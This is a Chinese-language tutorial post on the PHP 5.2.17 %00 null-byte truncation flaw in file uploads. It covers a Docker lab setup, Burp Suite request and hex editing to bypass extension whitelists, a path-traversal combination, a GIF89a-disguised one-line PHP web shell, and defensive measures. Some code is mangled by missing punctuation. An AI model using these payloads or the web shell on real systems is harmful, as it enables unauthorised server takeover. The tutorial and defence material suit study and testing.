PHP 5.2.17 环境 %00 截断实战:Burp Suite 解码与路径拼接 3 步绕过白名单

📅 2026/7/6 11:49:43
PHP 5.2.17 环境 %00 截断实战:Burp Suite 解码与路径拼接 3 步绕过白名单
PHP 5.2.17 %00截断攻击实战Burp Suite高级利用与防御策略在早期的Web应用开发中文件上传功能的安全隐患常常被低估。特别是PHP 5.3.4之前的版本存在一个被称为%00截断的经典漏洞这个漏洞在如今的CTF比赛和遗留系统渗透测试中仍然具有实战价值。本文将带你深入理解这个漏洞的底层机制并通过Burp Suite工具实现完整的攻击链复现。1. 漏洞环境构建与原理剖析要完整复现%00截断漏洞首先需要搭建特定的实验环境。推荐使用Docker快速部署PHP 5.2.17环境FROM ubuntu:16.04 RUN apt-get update apt-get install -y \ php55.2.17-0ubuntu1 \ apache2 \ rm -rf /var/lib/apt/lists/* COPY vulnerable_upload.php /var/www/html/ RUN chown -R www-data:www-data /var/www/html EXPOSE 80 CMD [apache2ctl, -D, FOREGROUND]关键漏洞原理在于PHP对字符串处理的特殊行为在PHP5.3.4版本中文件系统相关函数将0x00(NULL字节)视为字符串终止符当路径参数包含%00时URL解码后会转换为NULL字节文件后缀检查与保存操作存在逻辑不一致检查阶段读取完整文件名验证后缀保存阶段遇到NULL字节提前终止路径处理典型漏洞代码特征$ext substr($_FILES[file][name], strrpos($_FILES[file][name], .) 1); $target_path $_POST[path] . / . $filename; // 路径拼接未过滤%00 move_uploaded_file($_FILES[file][tmp_name], $target_path);2. Burp Suite高级利用技术2.1 请求拦截与修改使用Burp Suite进行攻击需要精确控制请求参数配置浏览器代理为127.0.0.1:8080上传合法文件(如test.jpg)并拦截请求在Proxy → HTTP history中找到上传请求关键修改位置文件名参数filenametest.php%00.jpg路径参数pathuploads%00注意POST请求中的%00需要手动解码Burp默认不会自动解码POST body中的URL编码2.2 Hex视图精确编辑对于更复杂的场景可使用Hex视图直接修改在拦截的请求上右键 → Send to Repeater切换到Hex标签页定位到路径参数位置将25 30 30(%00的Hex编码)修改为00注意保持Content-Length的正确性请求对比表参数正常请求攻击请求filenametest.jpgtest.php%00.jpgpathuploads/uploads%00/Content-Typeimage/jpegimage/jpeg文件内容JPEG数据PHP代码2.3 响应分析与验证成功攻击的响应特征服务器返回上传成功实际保存路径无后缀名文件文件内容验证curl -I http://target/uploads/test.php应返回200 OK而非404 Not Found3. 现代防御方案设计虽然PHP已修复此漏洞但类似逻辑缺陷仍可能出现在其他场景。推荐的多层防御策略输入验证层$path str_replace(chr(0), , $_POST[path]); // 过滤NULL字节 $ext pathinfo($filename, PATHINFO_EXTENSION);文件处理层使用随机生成文件名单独存储文件元数据设置上传目录不可执行系统配置层; php.ini配置 expose_php Off magic_quotes_gpc On # 虽然已弃用但可防御部分攻击Web服务器层Nginx示例location ^~ /uploads/ { deny all; location ~* \.php$ { return 403; } }4. 漏洞利用的进阶思考在实际渗透测试中%00截断常与其他技术组合使用路径穿越组合技path../../../uploads%00 filenameshell.php%00.jpgMIME类型混淆Content-Type: image/jpeg文件内容伪装GIF89a?php system($_GET[cmd]); ?防御者应该建立完整的上传文件处理流程白名单验证 → 2. 内容检测 → 3. 重命名存储 → 4. 权限隔离 → 5. 日志审计在Docker普及的今天仍有许多传统系统运行在老版本PHP上。某次真实渗透测试中我们通过组合%00截断和路径穿越成功在一个电商系统的商品图片上传处获取了服务器权限。这提醒我们安全是一个持续的过程不能因为漏洞古老就掉以轻心。